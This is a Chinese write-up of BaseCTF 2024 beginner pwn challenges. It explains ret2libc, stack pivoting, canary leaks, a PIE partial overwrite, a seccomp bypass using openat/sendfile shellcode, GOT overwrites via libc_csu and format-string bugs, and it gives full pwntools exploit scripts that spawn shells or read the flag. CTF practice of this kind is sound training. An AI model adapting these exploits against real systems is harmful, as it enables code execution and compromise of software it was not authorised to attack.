BaseCTF2024新生赛pwn题浮现

只记录了部分题目

她与你皆失

简单的ret2libc但是有个小tips,获取二次输入如果直接跳转到main函数程序无法打通估计是某个寄存器的值不满足,可以选择跳转到start的地址从头开始运行程序保证寄存器的值正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(arch='amd64',os = 'linux',log_level='debug')
io=remote('gz.imxbt.cn',20992)
#io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

pop_rdi= 0x401176

ret_addr = 0x0040101a
read = elf.sym['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401090 #从start开始的
payload1 = b'a'*(0xA+0x8) +p64(ret_addr)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#gdb.attach(io)
io.recvuntil("what should I do?\n")
io.sendline(payload1)

puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
io.recvuntil("what should I do?\n")
payload2 = b'a'*(0xA+0x8) +p64(ret_addr)+p64(pop_rdi) + p64(bin_sh) + p64(system)
#gdb.attach(io)
io.sendline(payload2)

io.interactive()

echo

echo 是一个非常常用的命令行工具,用于在终端中显示文本或变量的值

$最常见的用途是用于引用变量的值。当你在变量名前加上 $符号时,shell 会将变量的值替换到当前位置。

1
2
3
4
5
6
7
8
9
a=$(</flag)        # 从文件 /flag 中读取内容并赋值给变量 a
echo "$a" # 打印变量 a 的内容
BaseCTF{61e35f3e-344f-4012-8cfa-1b2dece46fd4}
或直接
$a #将a当作命令执行
/bin/bash: line 10: BaseCTF{61e35f3e-344f-4012-8cfa-1b2dece46fd4}: command not found
#若执行ls
ls
/bin/bash: line 4: ls: command not found

shellcode_level1

先用两个字节输入syscall系统调用read接着利用read继续在buf中输入shellcode,read结束后rsp自动增加nop到shellcode上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('gz.imxbt.cn',20003)
io=process('./pwn')
elf=ELF('./pwn')
#libc=ELF('./libc.so.6')

shellcode = asm('''
syscall
''')

io.send(shellcode)
#gdb.attach(io)
io.sendline(b'\x90'*2+asm(shellcraft.sh()))

#io.sendline(shellcraft.sh())
io.interactive()

stack _in_stack

栈迁移,有后门函数可以利用后门函数泄露libc,程序一开始会给buf的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('gz.imxbt.cn',20113)
io = process(
["/home/pwn/桌面/ld.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

puts_got = elf.got['puts']
printf=0x40129A
secret=0x4011DD #可以泄露libc的后门函数
main = 0x40124A #这里并没有直接跳转到main函数的开头位置push rbp而是跳转到其下一条mov rsp,rbp
leave_ret=0x4012F2
io.recvuntil(b'mick0960.\n')
buf = int(io.recv(14),16)
print(hex(buf))

payload = p64(0) + p64(secret) + p64(0) +p64(main) + b'a'*0x10+p64(buf)+p64(leave_ret)

io.send(payload)
io.recvuntil(b'0x')
puts_addr=int(io.recv(12),16)
print(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
pop_rdi = libc_base + 0x2a3e5
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
io.recvuntil(b'mick0960.\n')
buf = int(io.recv(14),16) #经过栈迁移后buf的值改变了所以要重新接收一次
print(hex(buf))
ret = 0x40101a #ret是为了堆栈对齐
payload = p64(0) + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0) + p64(buf) + p64(leave_ret)

io.send(payload)
io.interactive()

你为什么不让我溢出

开了canary可以使用puts泄露canary,但是要注意puts会被’\x00’截断而canary的低位第一个字节为’\x00’所以要用a先覆盖掉该字节泄露canary再减去a还原canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*

context(arch='amd64',os = 'linux',log_level='debug')
io=remote('gz.imxbt.cn',20121)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io = process('./pwn')
elf=ELF('./pwn')
io.recv()
payload = b'a'*(0x70-8+1)
io.send(payload)

io.recvuntil(b'a'*0x68)
canary=u64(io.recv(8))-0x61
getshell=0x4011B6
ret=0x40101a
print(hex(canary))
payload = b'a'*0x68+ p64(canary) + b'a'*0x8 + p64(ret) +p64(getshell)
io.sendline(payload)
io.interactive()

PIE

check

1
2
3
4
5
6
7
8
9
10
桌面$ python3 show.py
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

没开canary开了PIE

给了libc main函数存在栈溢出,printf可以用来泄露地址,关键就是如何二次调用main函数

在main函数执行前会执行_libc_start_call_main 来调用main函数,在main函数执行完后会leave ret _libc_start_call_main + 128处执行该处地址存放在栈上可以通过溢出泄露该地址获取libc

开了PIE的情况下libc的低12位字节也是不变的所以可以通过覆盖_libc_start_call_main + 128来尝试二次执行main函数

首先gdb调试先覆盖使其向前跳转找找有没有能用的gadget

注意在python脚本中使用gdb时开debug模式会导致程序提前结束进程gdb无法打开,所以下方把context(arch='amd64',os = 'linux',log_level='debug')给注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*


#context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('gz.imxbt.cn',20132)

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
io = process('./pwn')
gdb.attach(io,'b $rebase(0x11EE)')

payload = b'a'*0x108 + b'\x3f'

io.send(payload)
libc_addrs=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(libc_addrs))


io.interactive()

跳转到0x7ffff7dafd3f <__libc_start_call_main+47>处

1

单步调试:

1

可以看到执行’\x89’ ‘\x8e’可以跳转到main函数,下方’\x90’即为正常情况跳转的位置

所以将’\x90’覆盖为’\x89’即可二次调用main函数

IDA中打开libc文件找到对应偏移

1

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*


context(arch='amd64',os = 'linux',log_level='debug')
io=remote('gz.imxbt.cn',20422)

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#io = process('./pwn')
#gdb.attach(io,'b $rebase(0x11EE)')

sleep(3)
payload = b'a'*0x108 + b'\x89'

io.send(payload)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x29D89
print(hex(libc_base))

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x29139
payload = b'a'*0x108 +p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.send(payload)

io.interactive()

orz!

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱:

1

orw都禁用了execve也禁用了啥都没有

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+28h] [rbp-8h]

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == -1LL )
{
perror("mmap failed");
exit(1);
}
puts("Enter your shellcode:");
if ( read(0, buf, 0x1000uLL) < 0 )
{
perror("read failed");
exit(1);
}
sandbox();
execute_shellcode(buf);
munmap(buf, 0x1000uLL);
return 0;
}

分配了一段可读可写可执行的区域明显是想让我们写shellcode,可以用opeanat替换opean打开flag文件,看来两种思路

1:用opeanat打开flag文件,使用sendfile输出

程序调用 sendfile ,将文件描述符 0x3 指向的文件内容发送到标准输出(文件描述符 0x1 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode = '''
mov rax, 0x67616c662f2e ;flag
push rax
xor rdi, rdi
sub rdi, 100 ;rdi=-100表示为当前工作目录
mov rsi, rsp ;rsi为flag
xor edx, edx ;rdx=0只读模式
xor r10, r10 ;r10=0用于指定文件权限,0表示无额外参数
push 0x101
pop rax ;rax=0x101
syscall ;系统调用opeanat

mov rdi,1 ;out_fd=0x1表示标准输出
mov rsi,3 ;in_fd=0x3前面打开的flag文件
push 0
mov rdx,rsp ;offset=0从文件的开头开始读取
mov r10,0x100 ;count=1024表示每次发送1024字节
push 40
pop rax ;系统调用号为40
syscall ;系统调用sendfile
'''

文件描述符为什么是0x3呢?

因为标准输入流、输出流、错误流分别是0x0、0x1、0x2所以opeanat打开文件返回的文件描述符即为0x3

2:使用opeanat打开,readv读取,writev写出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pay = f'''
/* openat */
push {ord('t')}; mov rax,0x{b'/flag.tx'[::-1].hex()};push rax;
push rsp; pop rsi;
xor rdi,rdi;xor rdx,rdx;
push 0x101; pop rax;
syscall;
/* ioc */
push 0x70;
push rsp;pop rax;add rax,0x10;push rax;push rsp;pop rsi;
/* readv */
push 3; pop rdi;
push 1; pop rdx;
push 19;pop rax;
syscall;
/* writev */
push 1; pop rdi;
push 20; pop rax;
syscall;

对ioc的操作还是不太理解后续再遇到再深究

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*


context(arch='amd64',os = 'linux',log_level='debug')

io=remote('gz.imxbt.cn',20437)

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#io = process('./pwn')
#gdb.attach(io)


shellcode = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push 0x101
pop rax
syscall
mov rdi,1
mov rsi,3
push 0
mov rdx,rsp
mov r10,0x100
push 40
pop rax
syscall
'''
io.sendline(asm(shellcode))

io.interactive()

ezstack

libc-csu,改写got表

GOT表主要用于在动态链接过程中存储全局变量和函数地址,动态链接器会根据实际加载的动态链接库的地址来填充 GOT 表中的相应条目

PLT 表用于处理动态链接库中的函数调用。PLT 表中的代码段会通过 GOT 表来实现函数的调用,并且在第一次调用时会触发动态链接器来解析该函数的实际地址并将其存储在 GOT 表中。

也就是说在调用动态链接库里的函数时先call其plt表再由plt表调用函数对应got表,也就是调用其真实函数地址,plt表起到一个传递的作用

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

main函数:

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+18h] [rbp-8h] BYREF

init(argc, argv, envp);
gets(v4);
return 0;
}

存在栈溢出,给了libc但是没有泄露基地址的机会所以只能尝试改写现有函数,该题通过改写setvbuf的got表为system的地址来调用system

1
print(hex(libc.sym['setvbuf']-libc.sym['system']))

计算出二者之间的偏移为0x30880

发现配合libc_csu可以改写任意地址的gadget

1
2
3
.text:0000000000400658                 add     [rbp-3Dh], ebx
.text:000000000040065B nop
.text:000000000040065C retn

控制rbp和rdx的值

1

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.arch="amd64"
#io=process('./pwn')
io=remote("gz.imxbt.cn",20452)
libc=ELF('libc.so.6')
elf=ELF('./pwn')
gets_plt=elf.plt['gets']
shell=libc.sym['system']
setvbuf=libc.sym['setvbuf']
#offset=shell-setvbuf
#offset=offset&0xFFFFFFFFFFFFFFFF
py=-0x30880
py=py&0xFFFFFFFFFFFFFFFF #将高 64 位清零保留低 64 位的补码值确保 py 的值在 64 位无符号整数的范围
setvbuf_plt=elf.plt['setvbuf']
setvbuf_got=elf.got['setvbuf']
bss=0x601080
rdi=0x4006f3

gadget2=0x4006ea #rbx rbp r12 r13 r14 15
magic=0x400658 #add dword ptr [rbp - 0x3d], ebx ; nop ; ret
payload=b'a'*0x10
payload+=p64(gadget2)
payload+=p64(py) #rbx
payload+=p64(setvbuf_got+0x3d) #rbp
payload+=p64(0)*4 #pop to -->r12 r13 r14 r15
payload+=p64(magic) #ret-->magic
payload+=p64(rdi)+p64(bss)+p64(gets_plt)
payload+=p64(rdi)+p64(bss)+p64(setvbuf_plt)
#gdb.attach(io,"b *0x400682")
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

format_string_level0

vuln程序存在格式化字符串漏洞,会将同目录下的flag文件读入一段缓冲区内

通过gdb调试发现在printf时R9寄存器存放着,R9为printf输出参数的第5个

所以直接利用格式化字符输出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*


context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('gz.imxbt.cn',20132)

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io = process('./pwn')
#gdb.attach(io,"b *0x4013B8")
elf=ELF('./pwn')
target = 0x4040B0

payload = b'%1c%7$na'+p64(target)
#sleep(1)
io.send(payload)

io.interactive()

sleep是为了在gdb启动前程序运行慢一点,防止程序提前关闭执行流

format_string_level2

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
read(0, buf, 0x100uLL);
printf(buf);
}
}

存在格式化字符漏洞可以多次利用

第一次将read函数的got表地址放在栈上泄露出来获取libc版本及其基址

第二次将printf函数的got表地址改为system的got表地址

第四次read传入/bin/sh因为是调用的printf(buf)所以更改后就变成了system(‘/bin/sh’)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
from Crypto.Util.number import *

#io = process("./fmt2")
io = remote("gz.imxbt.cn",20726)
elf = ELF("./pwn")
libc = ELF("./1.so")

context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()

read_got = elf.got['read']
success(hex(read_got))
payload = b'bbbb%7$s' + p64(read_got)
io.sendline(payload)
io.recvuntil('bbbb')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success(hex(read_addr))
printf_got = elf.got['printf']
base = read_addr - libc.sym['read']
system = base + libc.sym['system']
success(hex(system))
payload = fmtstr_payload(6,{printf_got:system})
print(payload)
io.sendline(payload)
#debug()
io.recv()
io.sendline(b'/bin/sh')

io.interactive()

format_string_level3

check

1
2
3
4
5
6
7
8
9
10
11
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

只有一次格式化字符漏洞利用机会,要尝试能够构造二次输入,开了canary每次都会检查是否覆盖了canary覆盖了会跳转到call __stack_chk_fail@plt <__stack_chk_fail@plt>使进程结束,就联想到如果把这个的got表改为main函数起始地址那么每次溢出了的时候都可以再跳转回main函数一次

1

接着第二次将puts的got表放入栈上用%s读出,获得libc基址

第三次将printf的got表改为system函数的got表

第四次read传入’/bin/sh’调用system(‘/bin/sh’)

注意因为前三次都要触发call __stack_chk_fail@plt <__stack_chk_fail@plt>所以要将payload填充到0x110个字节

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.arch='amd64'
context.log_level = 'debug'

all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
#io = process("./pwn")
io = remote("gz.imxbt.cn",20741)
elf = ELF("./pwn")
main_addr = 0x04010D0
check_got = elf.got['__stack_chk_fail']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
success(check_got)
io.recvuntil(b'-----\n')
payload = fmtstr_payload(6,{check_got:main_addr}).ljust(0x110,b'\x00')
io.send(payload)
io.recvuntil(b'-----\n')
payload = b'%7$sbbbb'+p64(puts_got)
payload = payload.ljust(0x110,b'a')
success(payload)

io.send(payload)
#debug()
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success(puts_addr)
libc = ELF("./libc.so.6")
base = puts_addr - libc.sym['puts']
sys = base + libc.sym['system']
io.recvuntil(b'-----\n')
payload = fmtstr_payload(6,{printf_got:sys}).ljust(0x110,b'\x00')
io.send(payload)
io.recvuntil(b'-----\n')
io.sendline(b'/bin/sh')
io.interactive()

目前还是用fmtstr_payload比较浅显易懂,看网上很多wp都是逐字节写入的,后续可以研究研究